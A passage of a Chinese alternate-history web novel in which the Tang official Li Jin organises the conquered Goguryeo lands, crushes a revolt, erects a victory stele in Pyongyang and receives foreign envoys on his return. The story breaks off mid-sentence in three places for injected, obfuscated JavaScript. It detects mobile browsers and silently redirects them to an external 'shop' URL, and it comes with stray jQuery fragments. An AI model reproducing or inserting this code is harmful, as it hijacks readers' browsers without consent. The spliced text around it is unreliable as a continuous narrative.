他派出大量由唐吏、投降高句丽文吏、唐军文职人员组成的清查队伍,深入各地,结合高句丽旧有户籍(部分毁于战火)和实地核查,重新登记户口,编制新的户籍册,区分“课户”(承担赋税徭役)与“不课户”(如官员、军人、特殊技艺者等)。同时,大力推行均田制。将大量因战乱形成的无主荒地、没收的叛乱贵族土地,以及部分官有牧场、山林,按唐制授予无地、少地的平民、归顺士兵、内迁汉民。规定“丁男、中男给田百亩,其中二十亩为永业田,八十亩为口分田”,女子、奴婢、工商户减等授田。永业田可传子孙,口分田身死还官。这一政策极大地吸引了无地流民和贫苦百姓,迅速稳定了基层社会,也为朝廷未来的赋税收入打下了基础。
赋税方面,暂时实行“从轻从简”的原则。在免税期结束后,计划推行与内地基本一致的租庸调制,但考虑到战后恢复的实际情况,税率可能有所降低,并允许部分折纳当地特产(如人参、皮**、海产等)。同时,鼓励商业流通,在平壤、辽东城、国内城等地设立官市,减免商税,吸引中原、新罗、靺鞨乃至倭国商人前来贸易,促进经济恢复。
四、地方与边防:羁縻与震慑
对于鸭绿江上游、长白山地区以及半岛东部、北部山区的那些半独立的高句丽城寨、靺鞨部落、契丹羁縻部族,李瑾采取了更为灵活的羁縻政策。只要其首领愿意前来平壤朝见,表示归顺,献上象征性的贡品,便授予其都督、刺史、县令等官职,允许其**,并保持相当的自治权,内部事务一般不予干涉。但要求其承认安东都护府的权威,遵守大唐律法基本原则(如不得擅自攻伐),按时朝贡,提供少量兵员(称为“蕃兵”),并派遣子弟入平壤“学习”。这种“以夷制夷”、“因俗而治”的策略,以最小的成本稳定了广阔的边疆地区,同时也为日后逐步加强控制埋下了伏笔。
军事上,在稳定核心区的同时,李瑾丝毫没有放松警惕。梁建方坐镇平壤,统辖两万关中、河东精锐府兵,作为核心机动力量。孙仁师的水师则牢牢控制着西海岸和主要江河航道。王方翼、曹怀舜、高侃等将领分驻辽东城、国内城、乌骨城等要地,各统一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17069272|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
军,镇抚一方。新编练的“安东团结兵”则分散驻扎于各州县,协助维护治安,并定期与唐军合练。一道道烽燧、哨卡被修复或新建,构成了一个严密的军事控制网络。
五、宗教与文化:尊重与引导
高句丽社会深受佛教、道教以及自身萨满传统影响。李瑾对此采取“尊重现状,加以引导”的策略。下令保护各地寺庙、道观,禁止军队侵扰。平壤等地的重要寺院,还得到了都护府少量的赏赐和修缮资助。但同时,也鼓励中原僧侣、道士前来传法,并开始在平壤修建孔庙(文庙),定期举行祭孔仪式,将儒学教育置于首位。通过控制宗教领袖的任命(如由都护府认可大德高僧)、支持符合唐朝利益的教义宣讲,逐步将宗教力量纳入管理体系。
在语言、服饰、风俗方面,李瑾并不强求立即改变,但通过官方文书必须使用汉文、官员需着唐服、鼓励汉人移民与当地人通婚(给予一定优待)、在官学和公共场合倡导唐俗等方式,进行潜移默化的影响。
麟德五年秋冬,整个安东大地,在唐军的刀锋和李瑾一系列缜密政策的共同作用下,从战后的废墟和恐慌中,逐渐显露出些许复苏的迹象。田野里重新出现了劳作的身影,尽管稀疏;市集中开始有了零星的交易;逃往山林的民众陆续返回家园;官学里传出了稚嫩的诵读声;新编的“团结兵”在唐军教官的带领下进行着操练……
当然,矛盾、冲突、反抗并未消失。偏远山区仍有小股溃兵盗匪为患,偶尔有怀念故国的地方势力暗中串联,新罗、靺鞨在边境地带小动作不断,部分政策在执行中走了样(如个别唐军士卒或官吏欺压本地人),移民与土著在土地、资源分配上产生**……每日都有各种问题呈报到李瑾的案头。他如同一个高超的医师,仔细诊断着这片刚刚经历剧痛的土地,小心地处理着每一处潜在的病灶,平衡着各方利益。
这日,李瑾在杜宾客、高侃等人陪同下,巡视平壤城外的屯田。秋阳高照,一片新开垦的田地上,来自中原的移民与归顺的高句丽百姓混杂在一起,在唐军退役老卒(现为屯田官)的指挥下,挖渠引水,平整土地,准备冬小麦的播种。虽然彼此语言不通,配合生疏,但至少相安无事,为了生计而共同努力。
“大总管,你看,”杜宾客指着远处一片已收割完毕、秸秆尚未清理的稻田,那里插着一块木牌,上面用汉文和高句丽文写着“安东都护府平壤县永业田”,“那是按新制分给本地丁户陈三的永业田,二十亩。他原是泉男生部下一士卒,战后归乡,分得此田,感激涕零,言必称‘天可汗恩德’。其子,已被选入平壤官学蒙童班。”
李瑾微微颔首。陈三这样的普通百姓,所求不过是一份安定的生活,几亩可以传之后代的田地。谁能给他这些,他就认同谁的统治。高句丽的国号、王室,对挣扎在温饱线上的他们而言,或许太过遥远。关键在于,大唐的统治,能否比高句丽旧贵族更公正,更少盘剥,更能带来实际的利益。
“路漫漫其修远兮。”李瑾望着远处苍茫的群山和蜿蜒的浿水,低声道,“纳其地易,纳其心难。设都护府,行唐制,只是骨架。要让这数百万高句丽遗民,真正视自己为唐民,心甘情愿为大唐戍边、纳粮、效命,非数十年之功,非一代人之力可为。我等今日所为,无非是播下种子,夯实根基。日后是长成参天大树,稳固疆域,还是水土不服,再生祸乱,要看后来者如何浇灌,更要看朝廷能否持之以恒,善加抚育。”
杜宾客、高侃闻言,皆肃然。他们知道,李瑾看的,远比一场战役的胜利、一座都护府的设立更为长远。灭国不易,固国更难。安东都护府的未来,高句丽遗民的命运,乃至大唐东北边疆的长治久安,都系于这最初的政策与实践中。而他们,正是这历史的执笔人之一。
第228章 辽东永定矣
麟德六年,夏末秋初。
距离平壤城破、高句丽国灭,已近一年。安东都护府的设立与运转,如同一个巨大的、精密的齿轮,在经历了最初的生涩与摩擦后,开始缓缓而坚定地带动着这片广袤土地,向着安定与复苏的方向转动。
浿水依旧奔流,但两岸的风景已然不同。田野里,粟麦青青,稻穗低垂,虽然还不及战前那般繁茂整齐,但阡陌相连,农人耕作其间,已是一派生机。曾被战火摧残的村庄,重新升起了炊烟。道路上,往返于平壤与辽东、中原的商队渐渐多了起来,驼铃叮当,带来了关中的布帛、江淮的盐铁,也带走了辽东的人参、毛皮、药材。平壤城内的市集,恢复了往日的喧嚣,虽然汉话与高句丽语交织,服饰各异,但讨价还价之声,充满了世俗的活力。
安东都护府的政令,随着驿马和官吏的脚步,渗透到府、州、县、乡。户籍在重新编定,田亩在重新丈量,税赋在重新厘定(虽然大部分地区仍在免税期内)。各地官学、乡学陆续开办,稚嫩的读书声,开始在一些城镇响起。新编练的“安东团结兵”在唐军老卒的带领下,巡逻乡里,剿灭残匪,维持治安,也逐渐有了些模样。内迁的高句丽贵族、富户,大多已在中原各地安顿下来,书信偶尔传回,诉说中原的繁华与朝廷的“恩遇”,也在无形中消解着故土的一些怨望与留恋。
当然,并非一片坦途。边远山区的零星抵抗尚未绝迹,偶尔还有小股溃兵或不满的地方豪强袭扰州县,劫掠商旅。新罗、靺鞨、契丹等周边势力,对这片权力真空地带虎视眈眈,边境摩擦时有发生。唐军驻防、官吏派驻、移民安置,消耗着海量的钱粮物资,朝廷的转运压力巨大。本地民众与外来官吏、驻军、移民之间,因语言、习俗、利益而产生的摩擦冲突,也时有耳闻。治理这样一个刚刚征服、民族成分复杂、地域广大的新区,其艰难繁琐,远甚于战场上的刀光剑影。
然而,大局已定,根基渐稳。当李瑾在平壤安东都护府衙内,接到来自辽东城(今辽阳)的紧急军报,言及一股以高句丽旧将莫离支(此为高句丽官职,非人名,此处指其自称)渊氏(渊净土残部)为首的叛乱势力,纠结靺鞨、契丹部分部落,约数千人,寇边掳掠,攻破两座小城,杀县令,气焰嚣张时,他心中并无多少波澜,反而有一种“终于来了”的尘埃落定感。
“跳梁小丑,垂死挣扎而已。”李瑾将军报递给下首的梁建方、杜宾客等人传阅,“蛰伏一年,见我军主力渐有南调归国之意,便按捺不住了。也好,正好借此机会,犁庭扫穴,彻底清除边患,震慑四夷。”
“大总管所言极是。”梁建方摩拳擦掌,“末将愿率本部精骑,并调集辽东、国内城驻军,会同当地团结兵,一举荡平此獠!”
杜宾客则捻须道:“辽东城守将张仁愿(虚构,可设为唐朝边将)来报,其势虽众,然乌合之众,粮秣不济,所破皆小城,见辽东城防坚固,未敢遽攻。其乱源在山区,飘忽不定。我军若大军进剿,恐其遁入山林。宜以精兵直捣其巢穴,辅以周边羁縻部族封锁道路,断其外援粮道,再广发檄文,悬赏首恶,赦免胁从,则其乱自平。”
李瑾颔首:“便依杜长史之策。梁副都护,你即刻点齐五千精骑,并辽东、国内城、乌骨城诸军,合兵两万,以张仁愿为向导,进剿叛军主力。传檄周遭靺鞨、契丹诸部,令其助战,或严守疆界,不得资敌,违者并剿。另,以都护府令,晓谕安东全境:只诛首恶渊氏及其核心党羽,余者只要放下兵器,返乡归农,一概不究。有能擒斩渊氏来献者,赏千金,授官职。有被胁从乱者,若能弃暗投明,带罪立功,亦予重赏。”
“得令!”梁建方领命而去。
军事部署只是一环。李瑾深知,叛乱之所以发生,根源在于边远地区统治尚未深入,民生尚未完全恢复,部分旧势力不甘心失败,加之周边部族煽动。他随即签发一系列政令:减免辽东、国内等地受叛乱波及区域的赋税;拨发钱粮,抚恤被祸百姓,帮助重建家园;严查各地官吏是否有欺压盘剥、激化矛盾之举;加强对边境羁縻部族的抚慰与震慑,增加互市,赏赐其归顺首领,同时严厉警告任何支持叛乱的行为。
军事打击与**安抚双管齐下,效果立竿见影。梁建方率军深入白山黑水之间,叛军依仗地形熟悉,起初还想周旋,但唐军此次以精骑为主,辅以熟悉地形的“团结兵”和归顺的靺鞨向导,行动迅猛。张仁愿献策,利用冬季将至、叛军需储备过冬物资的时机,先扫清其外围依附的小部落,断其补给,然后以精锐小队突袭其几个可能的越冬营地。同时,都护府的赦免和悬赏令也动摇了叛军军心。
不过月余,捷报传来:叛军主力在鸭绿江上游一处谷地被唐军追上,激战半日,溃不成军。自称“莫离支”的渊氏首领被其部下砍了头颅,献于梁建方马前请功。其余党羽或死或降,或逃入更深的丛林,已不成气候。参与叛乱的几个靺鞨、契丹小部落,见势不妙,纷纷遣使至辽东城或平壤请罪,献上马匹、皮革,并表示愿受都护府节制。
梁建方凯旋时,不仅带回了渊氏的人头和俘虏,还带来了数十个边境部族首领的效忠书和子弟为人质。李瑾在平壤隆重迎接凯旋将士,厚赏有功人员,将渊氏人头传示安东各州,以儆效尤。对归附的部族首领,则设宴款待,赐予官服、印信,重申其权利和义务。
经此一役,安东都护府的权威彻底树立。那些还在观望、或有异心的地方残余势力,彻底绝了念想。边境部族也更加驯服。辽东、国内、平壤等核心地区,真正进入了和平发展时期。冬雪降临,覆盖了山川原野,也仿佛掩埋了最后一丝烽烟。
麟德七年春,李瑾决定启程返回洛阳。安东大局已定,具体的治理工作,交由梁建方(以安东副都护、平壤镇守使身份留镇)、杜宾客(升任安东都护府长史,主持民政)、高侃、王方翼、曹怀舜等一干能臣干将,足可胜任。朝廷也多次下诏,催促他这位功勋卓著的大总管回朝述职,接受封赏。
临行前,李瑾用了近一个月时间,最后一次系统地巡视安东各地。他从平壤出发,北上经国内城、乌骨城,再西行至辽东城,然后南下巡视浿水、萨水沿岸新设州县,最后渡海至山东登州,循陆路返京。这既是一次告别,也是一次对过去两年多治理成果的检阅。
在国内城,他看到这座曾让唐太宗李世民铩羽而归的坚城,如今城门大开,商旅往来不绝。城头飘扬着大唐的旗帜,城墙上的战火痕迹正在被工匠们仔细修补。城内新设的“国内州”衙署运转有序,汉官与留任的高句丽吏员共处一室,处理着户籍、田亩、诉讼等事务。官学里,上百名各族少年正朗声诵读《千字文》和《论语》。城外,大片新开垦的屯田里,来自中原的府兵家眷和归顺的高句丽农民,正在春耕。李瑾特意召见了那个最早分得永业田、儿子入官学的老兵陈三,如今他已是一名负责一小片屯田管理
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17069273|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的“田畯”,黝黑的脸上满是满足和感激。
在乌骨城,这座曾用火炮轰开的山城,如今已成为扼守交通要道的军事重镇和贸易节点。王方翼在此镇守,不仅修复了城墙,还在城外兴建了集市、驿站,吸引商旅。李瑾登上曾被火炮轰塌、现已重修加固的城墙,俯瞰着脚下熙熙攘攘的人流,难以想象两年前这里还是尸山血海。王方翼报告,附近山区的零星匪患已基本肃清,逃散的民众大多返乡,编户齐民的工作进展顺利。
在辽东城,这座历史更为悠久的汉家故郡,如今恢复了“辽州”的建制。城池经过扩建加固,更加雄伟。城内汉人移民明显增多,与本地高句丽遗民杂居,市井间汉话渐成主流。张仁愿向李瑾展示了边境防御体系:烽燧相望,堡寨相连,骑兵巡逻不绝。边境互市更是热闹非凡,中原的丝绸、瓷器、茶叶,高句丽的药材、山货,靺鞨的毛皮、猎鹰,契丹的马匹、牛羊……在这里交易。张仁愿说,互市税收,已能部分支撑当地驻军开销。更让李瑾欣慰的是,他看到了不少靺鞨、契丹部落的贵族子弟,在辽东城的官学中学习·汉文经典。“彼辈**我衣冠,读我诗书,渐染华风,久之,夷狄之辩或可消矣。”张仁愿如是说。
乘船沿浿水南下,两岸稻田连绵,渔歌唱晚。在新设立的州县,虽然治所简陋,官吏不足,但秩序井然,百姓虽然清苦,但眼中已无战乱时的惊恐麻木,多了些对未来的期盼。李瑾接见地方耆老,询问疾苦,勉励农桑,惩治了两名有**劣迹的小吏,提拔了几名勤勉能干的底层官员。
当李瑾的坐船驶出大同江口,回望那片渐渐消失在碧海蓝天之间的土地时,心中百感交集。这片土地,浸透了隋唐两朝无数将士的鲜血,也承载了无数高句丽人的悲欢与亡灵。如今,烽火暂熄,炊烟重燃。他知道,暗流仍在,隐患犹存,民族融合的道路漫长而艰辛,边境永远不会绝对太平。但至少,一个强大的、直接管辖的都护府已然建立,一套融合了唐制与本地传统的治理体系开始运转,数百万民众开始尝试接受新的身份和秩序。
“自前隋文帝开皇十八年征高句丽始,至今日……”李瑾立于船头,海风猎猎,吹动他的袍袖,“已近八十载。杨帝三征,国力耗尽,天下分崩;先帝太宗御驾亲征,亦受阻坚城,抱憾而返。其间多少将士埋骨辽东,多少生灵涂炭……而今,高句丽国除,安东都护府立。虽不敢言千秋万代,然自此之后,辽东腹地,当无复有能撼动中原之强敌。渔阳鼙鼓,或可稍息矣。”
他想起洛阳朝堂上,二圣殷切的目光;想起军中将士渴盼归家的面容;想起太宗皇帝在昭陵可能有的欣慰;也想起那些永远留在这片黑土地上,再也回不到故乡的唐军和高句丽士卒……
“辽东定矣。”他低声自语,仿佛是说给这片山海,说给历史,也说给自己听,“然定辽东方略,不在刀兵之利,而在州县之设,编户齐民,兴教化,劝耕织,通有无,使民有恒产,有恒心。后世守土者,当常怀此念,慎之,重之。”
船帆鼓满,向着西南方的登州方向驶去。身后,是渐渐安宁的安东大地;前方,是等待他凯旋的帝国中枢,以及注定更加复杂汹涌的朝堂风云。但无论如何,困扰中原王朝数百年的东北边患,在麟德七年这个春天,随着安东都护府的稳固运行和李瑾的班师,暂时画上了一个阶段性的**。一个时代结束了,另一个时代,正随着海船,驶向未知的深处。
第229章 瑾立纪功碑
麟德七年,仲春。
平壤城外的牡丹峰,松柏苍翠,俯瞰着脚下蜿蜒的浿水和逐渐恢复生机的都城。峰顶一处开阔的平台上,数月前便已开始一项浩大工程。数百名工匠、民夫在此开山取石,运土夯基,叮叮当当的凿击声与号子声,终日不绝。如今,工程已近尾声。
这是一座正在修建的巨大碑亭,或者说,碑阁。其规模形制,远超寻常。底座以花岗岩垒砌,高达数尺,四周雕有莲花、祥云、瑞兽纹样。底座之上,是一座重檐歇山顶式的宏伟碑亭,木构飞檐,斗拱交错,虽然尚未上漆,但结构已显巍峨。碑亭正中,一块巨大的、未经雕琢的青色巨岩被安放在特制的石龟趺座上,岩石表面已经过初步打磨,光滑如镜,在春日阳光下泛着冷峻的光泽。石料来自平壤附近最好的采石场,据说质地坚硬,可历千年风雨。
这便是李瑾下令修建的“大唐平高句丽纪功碑”。
碑者,刻石纪功也。自秦汉以来,勒石燕然,刻碑记功,便是华夏王朝宣示武功、昭告后世的重要形式。李瑾选择在即将班师回朝、安东大局初定之际,于平壤——这个高句丽数百年都城、也是其政权最终覆灭之地——树立此碑,其意不言自明。这不仅是纪念一场军事胜利,更是宣告大唐对此地的**,宣扬朝廷威德,安抚归顺人心,警示潜在异志,并将这场战争纳入官方书写的历史叙事,永镌金石。
碑亭周围,旌旗猎猎,甲士环列。安东都护府的主要文武官员、驻军将领、新归附的高句丽旧地有头脸的耆老、士绅代表,以及特意从辽东、国内、乌骨等地赶来的州县官吏、部族酋长,数百人肃立等待。气氛庄严肃穆,唯有山风吹过松涛,发出呜呜的声响。
吉时将至。李瑾在梁建方、杜宾客、高侃、王方翼、曹怀舜、孙仁师等一众心腹将吏的簇拥下,登上了牡丹峰顶。他今日未着甲胄,而是一身紫色圆领襕袍,腰系玉带,头戴进贤冠,显得庄重而威严。经过近三年的征战与劳心竭力的治理,他比出征时清减了些,但目光更加深邃沉静,顾盼之间,自有久居上位的威仪和气度。
他先环视四周,目光掠过远处依稀可见的平壤城垣、奔流不息的浿水,以及更北方苍茫的群山——那里曾是高句丽人赖以生存和抵抗的腹地。然后,他的视线回到眼前这座即将承载历史的巨碑和碑亭上。
“大总管,吉时已到。碑亭匾额、碑文,皆已备妥,请大总管揭彩、祭告。”担任赞礼官的杜宾客上前一步,躬身禀道。
李瑾微微颔首。早有侍从捧上香案,设于碑亭正前方。李瑾净手,上前,从侍从手中接过三炷粗大的线香,就着铜鹤香炉中的长明灯点燃,缕缕青烟袅袅升起。他面对巨碑,神情肃穆,朗声道:
“维大唐麟德七年,岁次庚午,三月壬申朔,越十有五日丙戌,检校安东都护、持节、总管辽东诸军事、太子太师、尚书左仆射、同中书门下三品、赵国公臣李瑾,谨以清酌庶羞,敢昭告于皇天后土、大唐列祖列宗、及此方山川神灵之前:
“高句丽者,本箕子所封,汉之玄菟、乐浪故郡也。自汉末离析,窃据辽东,僭号称王,历世四百余载。其先或受中朝册封,稍知臣礼;然自盖苏文弑逆,专权暴虐,屡抗王师,侵我边陲,虐彼黎庶。至男生嗣逆,凶悖尤甚,囚其君父,戮我使臣,窥伺上国,罪盈滔天。
“我大唐皇帝陛下、天后陛下,仁覆寰宇,义拯苍生。念其久染夷风,屡颁诏谕,冀其悔祸。而男生冥顽,怙恶不悛。天威震怒,不得已而用兵。臣瑾谬膺阃寄,统率六师,赖陛下洪福,将士用命,百姓箪食。自辽水以东,至于平壤,旌旗所指,城池瓦解。遂擒元恶,俘其丑类,收其图籍,裂其土地。
“今高句丽已平,凶渠授首。乃裂其地为府州,置官守,行教化,薄赋敛,劝农桑。使彼遗氓,得脱豺狼之吻,复见尧舜之天。此皆陛下、天后神武圣文,格于上下;亦将士忠勇,百姓协力之功也。
“谨择吉地,斫石纪勋,昭示不朽。伏惟神灵,永镇此土,护佑生民,风雨以时,灾疠不作。使我皇唐之德,光被遐荒;华夏之化,渐渍蛮貊。谨告。”
祭文用词庄重典雅,既追述了高句丽的历史渊源(强调其原本是华夏故地),历数其近代罪状(重点是盖苏文、泉男生父子的悖逆),彰显了唐朝出师的正义性与不得已,又突出了战争的顺利和战后的善政(设府州、行教化、薄赋敛),最后祈求神灵保佑此地安宁,宣扬大唐德化。这是一篇标准的、****的官方叙事,将被镌刻在碑上,流传后世。
祭告完毕,李瑾将线香插入香炉。随即,在赞礼官的唱喏声中,他走到碑亭正门处,那里悬挂着一块覆盖着红绸的巨匾。李瑾伸手,缓缓拉下红绸,露出匾额上三个鎏金大字,在阳光下熠熠生辉——“定远阁”。此名取自“安定远疆”之意,既纪念平定高句丽之功,亦寓含对安东地区长治久安的期望。
接着,他移步至巨碑之前。碑身朝南一面,已经用端庄雄浑的颜体(此时代颜真卿未生,可视为类似风格的楷书),阴刻了密密麻麻的碑文。内容比他刚才口诵的祭文更为详细,开篇先歌颂皇帝、天后圣德,次述高句丽之罪,再详列此次东征的统帅、主要将领名单、重要战役过程、斩获成果,然后是战后设立安东都护府、划分州县、安置百姓、减免赋税等一系列善政。最后是长篇的四言铭文,以华丽的骈俪文辞,极尽颂扬之能事。
碑文的末尾,赫然是撰写者和书写者的落款:
“光禄大夫、行尚书左仆射、同中书门下三品、监修国史、太子太师、上柱国、赵国公臣李瑾奉敕撰文并书丹”
“银青光禄大夫、守工部尚书、将作大匠阎立本奉敕监造并篆额”
李瑾亲自撰文书丹,请来了朝中顶尖的建筑艺术大师阎立本(以其绘画、建筑闻名)监造并题写碑额篆字,足见对此碑的重视。碑文用词考究,书法遒劲,镌刻深峻,确是一件堪称典范的“丰碑巨制”。
李瑾凝视着自己的手笔,目光缓缓扫过那些熟悉的字句。当看到“遂擒元恶,俘其丑类,收其图籍,裂其土地”时,他眼前仿佛又闪过平壤城破时的烽烟、泉男生授首的场景、高藏匍匐请降的窘态。当看到“使彼遗氓,得脱豺狼之吻,复见尧舜之天”时,他想到的是流离失所的百姓、荒芜的田地,以及这近一年来殚精竭虑的恢复治理。碑文是荣耀的记录,但书写这荣耀的,是无数人的鲜血、汗水和生命。
“揭碑——”赞礼官再次高唱。
八名膀大腰圆的力士,用粗大的绳索和木杠,小心翼翼地挪开了覆盖在碑文上的最后一道防护木板。完整的、镌刻着三千余字碑文的青色巨碑,完全呈现在众人面前。阳光斜照,碑文笔画凹处阴影分明,更显庄严肃穆,仿佛带着沉甸甸的历史分量。
在场所有唐方官员、将士,无不挺直腰板,面露激动与自豪之色。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17073747|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这是他们用鲜血和生命换来的功勋,将被刻在石头上,流传千古。不少将领眼眶微湿,想起了战死的同袍。
而那些被“邀请”来观礼的高句丽耆老、士绅代表,心情则复杂得多。他们仰望着这座矗立在故国都城最高处、俯瞰四野的巨碑,看着上面宣告高句丽灭亡、宣扬大唐功德的文字,心中五味杂陈。有**的悲凉与**,有对新朝权的敬畏与顺从,或许也有一丝对结束战乱、迎来新秩序的茫然期待。他们纷纷低下头,不敢与那冰冷的碑文对视,更不敢流露出丝毫不满。
李瑾将众人的反应尽收眼底。他缓步走到碑亭前的石阶边缘,面向所有观礼者,声音沉稳而清晰地传开:
“此碑既立,非为夸耀武功,炫示兵威。实为铭记前事,惕厉后人。铭文所载,是我大唐将士忠勇报国、捐躯疆场之壮烈,是陛下、天后抚育万民、平定祸乱之圣德,亦是高句丽逆臣悖天作乱、自取灭亡之殷鉴!”
他目光扫过那些高句丽遗老:“自今以后,再无高句丽,唯有大唐安东!尔等生于斯,长于斯,此后亦是大唐子民。朝廷设州置县,轻徭薄赋,兴学劝农,所为者何?惟愿四海一家,百姓安康。过往恩怨,已随战火湮灭。但望尔等及尔等子孙,谨记教训,安分守己,勤事耕读,遵从王化,则可共享太平,永为盛世良民。若有冥顽不灵,心怀异志,欲效泉男生之覆辙者——”
他的声音陡然转厉,目光如电:“此碑,亦将为诛心之剑,镇魂之石!高句丽宗庙已隳,社稷已倾,前车之鉴,就在眼前!望尔等细思之,慎处之!”
这番话,既是说给在场的高句丽人听,也是说给所有安东的官员、驻军,乃至未来可能读到碑文的后人听。是安抚,更是警告;是承诺,更是底线。
“谨遵大总管教诲!”唐方官员将士齐声应和,声震峰峦。
高句丽耆老代表们更是慌忙俯身,以额触地,颤声道:“天朝恩德,再造之恩,没齿难忘!吾等及子孙,永为大唐顺民,绝无二心!”
李瑾微微颔首,神色稍霁。他转身,再次望向那座巍峨的“定远阁”和阁中的纪功巨碑。碑亭的影子,在春日阳光下被拉得很长,仿佛一只巨兽,静静地伏在牡丹峰顶,守望着脚下的平壤城,守望着这片刚刚更换了主人的土地。
他知道,这座碑,连同碑上的文字,从此将成为这片土地上一个不可磨灭的印记。它宣告了一个时代的终结,也开启了一个新的、充满未知的时代。它将承受风吹雨打,岁月侵蚀,也将见证此后数百年的沧桑变迁。后世之人,无论是唐人、高句丽遗民的后代,还是其他什么民族,当他们站在这碑前,阅读这些文字时,会作何感想?是缅怀大唐的赫赫武功,感叹高句丽的烟消云散,还是从中读出征服者的骄傲与被征服者的隐痛?
历史由胜利者书写,但时间的河流,终将冲刷一切,留下最本真的痕迹。李瑾能做的,就是在这块石头上,刻下他所认为的“真实”与“正确”,并为这个“真实”与“正确”,尽可能打下坚实的根基。
“愿此碑永立,愿此地长安。”他在心中默念,随即转身,对众人道:“礼成。诸君随我下山。安东未来,尚有诸多事务,亟待我等戮力同心。”
山风更劲,吹动他的衣袂。身后,定远阁寂然矗立,巨碑无言。前方,是下山的路,是等待他归去的庞大帝国,是已然开启的新篇章,也是未可知的、更为波澜壮阔的未来。
第230章 天朝威名扬
麟德七年,夏。
李瑾的凯旋之旅,自平壤登船,沿辽东半岛海岸线西行,至登州登陆,然后经洛阳,最终抵达长安。这并非一次简单的军事统帅凯旋,更像是一次移动的、无声的国力与威严的盛大巡展。沿途所见所闻,让他对“大唐国威”四字,有了更直观、也更复杂的感受。
船队尚未抵近登州,沿岸烽燧已次第燃起平安烟信号。登州港外,桅杆如林,旌旗蔽日。山东道大小官员、驻军将领、士绅耆老,早已盛装列队,迎候于码头。更让李瑾略感意外的是,港口内还停泊着许多形制各异的船只,悬挂着新罗、百济(遗民势力)、倭国、乃至林邑、真腊等南海藩国的旗帜。原来,朝廷早已将安东大捷、李瑾凯旋的消息通告四方,并暗示各藩属、邻国可遣使至登州或洛阳朝贺。这些船只,便是闻风而至的各国使节座船。
当李瑾那艘悬挂着“检校安东都护、太子太师李”旗号的巍峨楼船缓缓驶入港口时,岸上鼓乐齐鸣,欢呼震天。李瑾一身紫袍玉带,在亲卫的簇拥下踏上跳板,山东道的官员们立刻上前大礼**。随后,那些等候多时的各国使节,也在鸿胪寺官员的引导下,趋前拜见。
“新罗王金法敏,遣使金仁问,恭贺天朝上国,荡平高句丽逆贼,解我新罗百年倒悬之危!谨献国书、贡礼,永世臣服,不敢背德!”新罗使节金仁问(历史上实有其人,新罗宗室,曾为质于唐)言辞最为恭谨恳切,几乎是匍匐于地。新罗与高句丽是世仇,唐灭高句丽,新罗是直接受益者,但其内心对强大的唐朝在半岛设立安东都护府直接统治,也充满了警惕和不安。此刻的恭顺,半是感激,半是畏惧。
“百济遗臣,扶余族遗民,谨贺天可汗威加海内,诛灭高句丽,使我等**之民,亦感天恩浩荡!愿永为大唐屏藩,效犬马之劳!”百济遗民(百济已于660年被唐与新罗联军所灭)的代表更是涕泪交加,他们国破家亡,寄人篱下,对灭亡了仇敌高句丽的唐朝,感情复杂,但此刻唯有极力表现忠诚,以求庇护。
“倭国遣唐使、执节使栗田**,奉吾王命,恭贺大唐皇帝、天后陛下,剪除凶逆,廓清寰宇。谨具薄礼,以表敬畏之心。”倭国(日本)使节栗田**(原型为日本飞鸟时代后期的遣唐使)的礼节无可挑剔,但言辞谨慎,目光低垂。倭国自白江口之战后,对唐敬畏有加,努力学习唐文化,但内部对唐态度亦有分歧。此次高句丽灭亡,无疑再次深深震撼了隔海相望的岛国。其贡礼中,除了传统的珍珠、琥珀、玛瑙、精美刀具,还有数名精心挑选的“学问僧”和“留学生”,姿态放得极低,但李瑾从其谨小慎微的态度中,却察觉到一丝不易察觉的疏离与警惕。
此外,还有来自黑龙江流域的靺鞨诸部、西拉木伦河畔的契丹、奚族首领,来自漠北的铁勒九姓使者,来自西域的吐火罗、康国、安国等城邦代表,甚至还有来自更遥远的天竺(印度)僧侣、波斯(萨珊波斯已亡,此为波斯遗民或商人)、大食(阿拉伯帝国)商人……他们带着好奇、敬畏、谄媚或探究的目光,注视着这位刚刚灭亡了一个强盛国家、携带着赫赫兵威归来的大唐重臣。
李瑾从容受礼,温言勉慰,举止合度,既体现了上国重臣的威严,又不失安抚四夷的雍容。他特别对新罗、百济使者多加抚慰,重申朝廷对其“藩屏”地位的认可;对靺鞨、契丹等部,则恩威并施,警告其恪守本分,不得侵扰安东新地;对倭国使节,则询问其国内情形,勉励其“勤修职贡,永敦和睦”。每一句话,每一个眼神,都经过深思熟虑,既是外交辞令,也是战略信号的释放。
